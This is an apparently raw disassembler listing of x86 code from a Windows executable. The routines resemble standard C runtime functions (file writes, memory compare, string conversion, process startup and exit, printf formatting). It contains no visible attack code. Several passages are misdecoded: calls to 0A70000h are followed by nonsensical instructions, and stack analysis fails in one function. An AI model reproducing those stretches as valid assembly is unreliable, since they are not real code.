arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_4156B3
		xor	eax, eax
		jmp	loc_415780
; ---------------------------------------------------------------------------


loc_4156B3:				; CODE XREF: sub_41568F+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4156C6
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4156CD
; ---------------------------------------------------------------------------


loc_4156C6:				; CODE XREF: sub_41568F+2Dj
		mov	[ebp+arg_C], 1000h


loc_4156CD:				; CODE XREF: sub_41568F+35j
					; sub_41568F+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_415701
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_415701
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_4156E7
		mov	edi, eax


loc_4156E7:				; CODE XREF: sub_41568F+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_413690
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_415747
; ---------------------------------------------------------------------------


loc_415701:				; CODE XREF: sub_41568F+47j
					; sub_41568F+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41574C
		test	ecx, ecx
		jz	short loc_415715
		push	esi
		call	sub_416774
		test	eax, eax
		pop	ecx
		jnz	short loc_41578E


loc_415715:				; CODE XREF: sub_41568F+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_415728
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41572A
; ---------------------------------------------------------------------------


loc_415728:				; CODE XREF: sub_41568F+8Aj
		mov	edi, ebx


loc_41572A:				; CODE XREF: sub_41568F+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41A4BA
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415785
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_415785


loc_415747:				; CODE XREF: sub_41568F+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_415775
; ---------------------------------------------------------------------------


loc_41574C:				; CODE XREF: sub_41568F+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_415CC7
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41578E
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_415775
		mov	[ebp+arg_C], 1


loc_415775:				; CODE XREF: sub_41568F+BBj
					; sub_41568F+DDj
		test	ebx, ebx
		jnz	loc_4156CD
		mov	eax, [ebp+arg_8]


loc_415780:				; CODE XREF: sub_41568F+1Fj
					; sub_41568F+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415785:				; CODE XREF: sub_41568F+ADj
					; sub_41568F+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_415790
; ---------------------------------------------------------------------------


loc_41578E:				; CODE XREF: sub_41568F+84j
					; sub_41568F+CFj
		mov	eax, edi


loc_415790:				; CODE XREF: sub_41568F+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_415780
sub_41568F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415799	proc near		; CODE XREF: sub_40A68C+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41F07C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4157B9
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		call	sub_41A667
		pop	ecx


loc_4157B5:				; CODE XREF: sub_415799+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4157B9:				; CODE XREF: sub_415799+Dj
		test	al, 1
		jz	short loc_4157DA
		test	[esp+arg_4], 2
		jz	short loc_4157DA
		mov	ds:dword_45E804, 0Dh
		mov	ds:dword_45E808, 5
		jmp	short loc_4157B5
; ---------------------------------------------------------------------------


loc_4157DA:				; CODE XREF: sub_415799+22j
					; sub_415799+29j
		xor	eax, eax
		retn
sub_415799	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_40A7B6+5Fp
					; sub_40A7B6+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_415801
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_415801:				; CODE XREF: sub_4157E0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41581D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41581D:				; CODE XREF: sub_4157E0+27j
		or	eax, eax
		jnz	short loc_415839
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41587A
; ---------------------------------------------------------------------------


loc_415839:				; CODE XREF: sub_4157E0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_415847:				; CODE XREF: sub_4157E0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_415847
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_415875
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_415875
		jb	short loc_415876
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_415876


loc_415875:				; CODE XREF: sub_4157E0+85j
					; sub_4157E0+8Bj
		dec	esi


loc_415876:				; CODE XREF: sub_4157E0+8Dj
					; sub_4157E0+93j
		xor	edx, edx
		mov	eax, esi


loc_41587A:				; CODE XREF: sub_4157E0+57j
		dec	edi
		jnz	short loc_415884
		neg	edx
		neg	eax
		sbb	edx, 0


loc_415884:				; CODE XREF: sub_4157E0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4157E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41588A	proc near		; CODE XREF: seg000:00415C1Bp
		mov	eax, ds:off_42D0BC
		test	eax, eax
		jz	short loc_415895
		call	eax ; sub_413FD1


loc_415895:				; CODE XREF: sub_41588A+7j
		push	offset dword_421024
		push	offset dword_421010
		call	sub_415972
		push	offset dword_42100C
		push	offset dword_421000
		call	sub_415972
		add	esp, 10h
		retn
sub_41588A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158B7	proc near		; CODE XREF: seg000:00415C5Ap

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_4158D9
		add	esp, 0Ch
		retn
sub_4158B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158C8	proc near		; CODE XREF: seg000:00415C79p
					; sub_415C7E+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4158D9
		add	esp, 0Ch
		retn
sub_4158C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158D9	proc near		; CODE XREF: sub_4158B7+8p
					; sub_4158C8+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_45E84C, edi
		jnz	short near ptr loc_4158F1+5
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		bound	edx, [eax-18h]


loc_4158F1:				; CODE XREF: sub_4158D9+Aj
		or	esp, [edi-7CB5FF9Bh]
		jl	short loc_41591D
		or	al, 0
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		mov	ds:dword_45E848, edi
		mov	ds:byte_45E844,	bl
		jnz	short loc_41594A
		mov	eax, ds:dword_45FE74
		test	eax, eax
		jz	short loc_415939
		mov	ecx, ds:dword_45FE70


loc_41591D:				; CODE XREF: sub_4158D9+1Ej
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_415938


loc_415925:				; CODE XREF: sub_4158D9+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41592D
		call	eax


loc_41592D:				; CODE XREF: sub_4158D9+50j
		sub	esi, 4
		cmp	esi, ds:dword_45FE74
		jnb	short loc_415925


loc_415938:				; CODE XREF: sub_4158D9+4Aj
		pop	esi


loc_415939:				; CODE XREF: sub_4158D9+3Cj
		push	offset dword_421030
		push	offset dword_421028
		call	sub_415972
		pop	ecx
		pop	ecx


loc_41594A:				; CODE XREF: sub_4158D9+33j
		push	offset dword_42103C
		push	offset dword_421034
		call	sub_415972
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_415970
		push	dword ptr [esp+8]
		mov	ds:dword_45E84C, edi
		call	ds:dword_41F104	; ExitProcess


loc_415970:				; CODE XREF: sub_4158D9+85j
		pop	edi
		retn
sub_4158D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415972	proc near		; CODE XREF: sub_41588A+15p
					; sub_41588A+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_415977:				; CODE XREF: sub_415972+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41598A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415985
		call	eax


loc_415985:				; CODE XREF: sub_415972+Fj
		add	esi, 4
		jmp	short loc_415977
; ---------------------------------------------------------------------------


loc_41598A:				; CODE XREF: sub_415972+9j
		pop	esi
		retn
sub_415972	endp


; =============== S U B	R O U T	I N E =======================================



sub_41598C	proc near		; CODE XREF: seg000:0040DE05p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0A70000h
		les	eax, [ebp-0F78A40h]
		adc	eax, offset dword_41F068
		jmp	short loc_4159A4
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4159A4:				; CODE XREF: sub_41598C+14j
		test	eax, eax
		jz	short loc_4159B3
		push	eax
		call	sub_41A667
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4159B3:				; CODE XREF: sub_41598C+1Aj
		xor	eax, eax
		retn
sub_41598C	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_415A0C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_415A0D
		test	eax, 1
		jz	short loc_4159ED
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_415A3A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_415A0A


loc_4159ED:				; CODE XREF: seg000:004159E0j
					; seg000:00415A08j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_415A3A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_415A3A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_4159ED


loc_415A0A:				; CODE XREF: seg000:004159EBj
					; seg000:00415A44j
		pop	edi
		pop	esi

locret_415A0C:				; CODE XREF: seg000:004159C6j
		retn
; ---------------------------------------------------------------------------


loc_415A0D:				; CODE XREF: seg000:004159D9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_415A42
		repe cmpsd
		jz	short loc_415A42
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_415A35
		cmp	ch, dh
		jnz	short loc_415A35
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_415A35
		cmp	ch, dh


loc_415A35:				; CODE XREF: seg000:00415A23j
					; seg000:00415A27j ...
		mov	eax, 0


loc_415A3A:				; CODE XREF: seg000:004159E6j
					; seg000:004159F3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415A42:				; CODE XREF: seg000:00415A15j
					; seg000:00415A19j
		test	eax, eax
		jz	short loc_415A0A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_415A35
		dec	eax
		jz	short loc_415A69
		cmp	dh, ch
		jnz	short loc_415A35
		dec	eax
		jz	short loc_415A69
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_415A35
		dec	eax


loc_415A69:				; CODE XREF: seg000:00415A4Fj
					; seg000:00415A56j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_415A6C	proc near		; CODE XREF: seg000:00412062p
					; sub_412A1E+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_415A83


loc_415A79:				; CODE XREF: sub_415A6C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_415A79


loc_415A83:				; CODE XREF: sub_415A6C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_415A6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A89	proc near		; CODE XREF: seg000:00412026p
					; seg000:00412056p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_415B56
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_415B83
		cmp	ds:dword_45E898, esi
		jnz	short loc_415ADA
		cmp	edi, esi
		jbe	loc_415B83


loc_415AB9:				; CODE XREF: sub_415A89+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_415B83
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_415AB9
		jmp	loc_415B83
; ---------------------------------------------------------------------------


loc_415ADA:				; CODE XREF: sub_415A89+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_41F12C
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_45E8A8
		call	esi ; dword_41F12C
		test	eax, eax
		jnz	loc_415B82
		call	ds:dword_41F068	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_415B14


loc_415B05:				; CODE XREF: sub_415A89+CBj
					; sub_415A89+F7j
		mov	ds:dword_45E804, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B83
; ---------------------------------------------------------------------------


loc_415B14:				; CODE XREF: sub_415A89+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_415B1C:				; CODE XREF: sub_415A89+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_415B3E
		mov	edx, ds:off_42D0F0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_415B33
		inc	eax


loc_415B33:				; CODE XREF: sub_415A89+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_415B1C


loc_415B3E:				; CODE XREF: sub_415A89+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_45E8A8
		call	esi ; dword_41F12C
		test	eax, eax
		jnz	short loc_415B83
		jmp	short loc_415B05
; ---------------------------------------------------------------------------


loc_415B56:				; CODE XREF: sub_415A89+Fj
		cmp	ds:dword_45E898, esi
		jnz	short loc_415B69
		push	[ebp+arg_4]
		call	sub_413DB0
		pop	ecx
		jmp	short loc_415B83
; ---------------------------------------------------------------------------


loc_415B69:				; CODE XREF: sub_415A89+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_45E8A8
		call	ds:dword_41F12C	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_415B05


loc_415B82:				; CODE XREF: sub_415A89+6Bj
		dec	eax


loc_415B83:				; CODE XREF: sub_415A89+1Aj
					; sub_415A89+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415A89	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F670
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_41F160	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_45E81C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_45E818, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_45E814, ecx
		shr	eax, 10h
		mov	ds:dword_45E810, eax
		xor	esi, esi
		push	esi
		call	sub_416B13
		pop	ecx
		test	eax, eax
		jnz	short loc_415BF4
		push	1Ch
		call	sub_415CA3
		pop	ecx


loc_415BF4:				; CODE XREF: seg000:00415BEAj
		mov	[ebp-4], esi
		call	loc_41ACE2
		call	near ptr 0A70000h
		inc	eax
		mov	ds:dword_45FE64, eax
		call	sub_41ABB0
		mov	ds:dword_45E850, eax
		call	sub_41A963
		call	sub_41A8AA
		call	sub_41588A
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0A70000h
		scasb
		call	sub_41A852
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_415C41
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_415C44
; ---------------------------------------------------------------------------


loc_415C41:				; CODE XREF: seg000:00415C39j
		push	0Ah
		pop	eax


loc_415C44:				; CODE XREF: seg000:00415C3Fj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	near ptr 0A70000h
		hlt
; ---------------------------------------------------------------------------
		push	eax
		call	loc_40AB10
		mov	[ebp-60h], eax
		push	eax
		call	sub_4158B7
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41A6CE
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_4158C8

; =============== S U B	R O U T	I N E =======================================



sub_415C7E	proc near		; CODE XREF: sub_4148E2+16p
					; sub_41A8AA+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_45E858, 1
		jnz	short loc_415C8C
		call	sub_41AF70


loc_415C8C:				; CODE XREF: sub_415C7E+7j
		push	[esp+arg_0]
		call	sub_41AFA9
		push	0FFh
		call	ds:off_42D0E0
		pop	ecx
		pop	ecx
		retn
sub_415C7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CA3	proc near		; CODE XREF: seg000:00415BEEp

arg_0		= dword	ptr  4

		cmp	ds:dword_45E858, 1
		jnz	short loc_415CB1
		call	sub_41AF70


loc_415CB1:				; CODE XREF: sub_415CA3+7j
		push	[esp+arg_0]
		call	sub_41AFA9
		pop	ecx
		push	0FFh
		call	ds:dword_41F104	; ExitProcess
		retn
sub_415CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC7	proc near		; CODE XREF: sub_4135AD+46p
					; sub_413B2A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_415DD0
		test	al, 40h
		jnz	loc_415DD0
		test	al, 1
		jz	short loc_415CFF
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_415DD0
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_415CFF:				; CODE XREF: sub_415CC7+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_415D39
		cmp	esi, offset dword_42D808
		jz	short loc_415D27
		cmp	esi, offset dword_42D828
		jnz	short loc_415D32


loc_415D27:				; CODE XREF: sub_415CC7+56j
		push	ebx
		call	sub_41B140
		test	eax, eax
		pop	ecx
		jnz	short loc_415D39


loc_415D32:				; CODE XREF: sub_415CC7+5Ej
		push	esi
		call	sub_41B0FC
		pop	ecx


loc_415D39:				; CODE XREF: sub_415CC7+4Ej
					; sub_415CC7+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_415DA6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_415D69
		push	edi
		push	eax
		push	ebx
		call	sub_41A4BA
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_415D9C
; ---------------------------------------------------------------------------


loc_415D69:				; CODE XREF: sub_415CC7+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415D84
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_45FB20[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_415D89
; ---------------------------------------------------------------------------


loc_415D84:				; CODE XREF: sub_415CC7+A5j
		mov	eax, offset dword_42D750


loc_415D89:				; CODE XREF: sub_415CC7+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_415D9C
		push	2
		push	0
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch


loc_415D9C:				; CODE XREF: sub_415CC7+A0j
					; sub_415CC7+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_415DBA
; ---------------------------------------------------------------------------


loc_415DA6:				; CODE XREF: sub_415CC7+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41A4BA
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_415DBA:				; CODE XREF: sub_415CC7+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_415DC6
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_415DD5
; ---------------------------------------------------------------------------


loc_415DC6:				; CODE XREF: sub_415CC7+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_415DD8
; ---------------------------------------------------------------------------


loc_415DD0:				; CODE XREF: sub_415CC7+10j
					; sub_415CC7+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_415DD5:				; CODE XREF: sub_415CC7+FDj
		or	eax, 0FFFFFFFFh


loc_415DD8:				; CODE XREF: sub_415CC7+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415CC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DDC	proc near		; CODE XREF: sub_4135AD+29p
					; sub_413B2A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4164F5
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_415E10
; ---------------------------------------------------------------------------


loc_415E08:				; CODE XREF: sub_415DDC+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_415E10:				; CODE XREF: sub_415DDC+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4164F5
		cmp	bl, 20h
		jl	short loc_415E31
		cmp	bl, 78h
		jg	short loc_415E31
		movsx	eax, bl
		mov	al, [eax+41F65Ch]
		and	eax, 0Fh
		jmp	short loc_415E33
; ---------------------------------------------------------------------------


loc_415E31:				; CODE XREF: sub_415DDC+40j
					; sub_415DDC+45j
		xor	eax, eax


loc_415E33:				; CODE XREF: sub_415DDC+53j
		movsx	eax, ds:byte_41F67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_4164E4	; default
		jmp	ds:off_4164FD[eax*4] ; switch jump


loc_415E51:				; DATA XREF: seg000:off_4164FDo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00415E4A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415E6C:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		movsx	eax, bl		; jumptable 00415E4A case 2
		sub	eax, 20h
		jz	short loc_415EAF
		sub	eax, 3
		jz	short loc_415EA6
		sub	eax, 8
		jz	short loc_415E9D
		dec	eax
		dec	eax
		jz	short loc_415E94
		sub	eax, 3
		jnz	loc_4164E4	; default
		or	[ebp+var_4], 8
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415E94:				; CODE XREF: sub_415DDC+A4j
		or	[ebp+var_4], 4
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415E9D:				; CODE XREF: sub_415DDC+A0j
		or	[ebp+var_4], 1
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415DDC+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415EAF:				; CODE XREF: sub_415DDC+96j
		or	[ebp+var_4], 2
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415EB8:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		cmp	bl, 2Ah		; jumptable 00415E4A case 3
		jnz	short loc_415EE0
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165BB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_4164E4	; default
		or	[ebp+var_4], 4
		neg	eax


loc_415ED8:				; CODE XREF: sub_415DDC+111j
		mov	[ebp+var_20], eax
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415EE0:				; CODE XREF: sub_415DDC+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_415ED8
; ---------------------------------------------------------------------------


loc_415EEF:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		mov	[ebp+var_10], edx ; jumptable 00415E4A case 4
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415EF7:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		cmp	bl, 2Ah		; jumptable 00415E4A case 5
		jnz	short loc_415F1A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165BB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_4164E4	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


